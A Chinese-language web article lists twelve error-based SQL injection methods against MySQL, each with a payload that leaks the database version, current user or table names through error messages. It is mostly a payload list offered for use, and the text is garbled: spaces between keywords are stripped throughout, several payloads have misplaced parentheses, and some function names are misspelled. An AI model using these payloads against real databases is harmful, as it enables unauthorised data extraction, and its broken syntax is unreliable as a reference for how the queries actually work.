SQL注入报错方式有哪几种
sql注入报错方式有12种,分别是:
1、通过floor报错,注入语句以下:
andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);
2、通过ExtractValue报错,注入语句以下:
andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));
3、通过UpdateXml报错,注入语句以下:
and1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句以下:
andexists(select*from(select*from(selectname_const(@@version,0))ajoin(selectname_const(@@version,0))b)c)
5、通过join报错,注入语句以下:
select*from(select*frommysql.userajoinmysql.userb)c;
6、通过exp报错,注入语句以下:
andexp(~(select*from(selectuser())a));
7、通过GeometryCollection()报错,注入语句以下:
andGeometryCollection(()select*from(selectuser())a)b);
8、通过polygon ()报错,注入语句以下:
andpolygon(()select*from(selectuser())a)b);
9、通过multipoint ()报错,注入语句以下:
andmultipoint(()select*from(selectuser())a)b);
10、通过multlinestring ()报错,注入语句以下:
andmultlinestring(()select*from(selectuser())a)b);
11、通过multpolygon ()报错,注入语句以下:
andmultpolygon(()select*from(selectuser())a)b);
12、通过linestring ()报错,注入语句以下:
andlinestring(()select*from(selectuser())a)b);
本文来源:https://www.yuntue.com/post/62249.html | 云服务器网,转载请注明出处!

微信扫一扫打赏
支付宝扫一扫打赏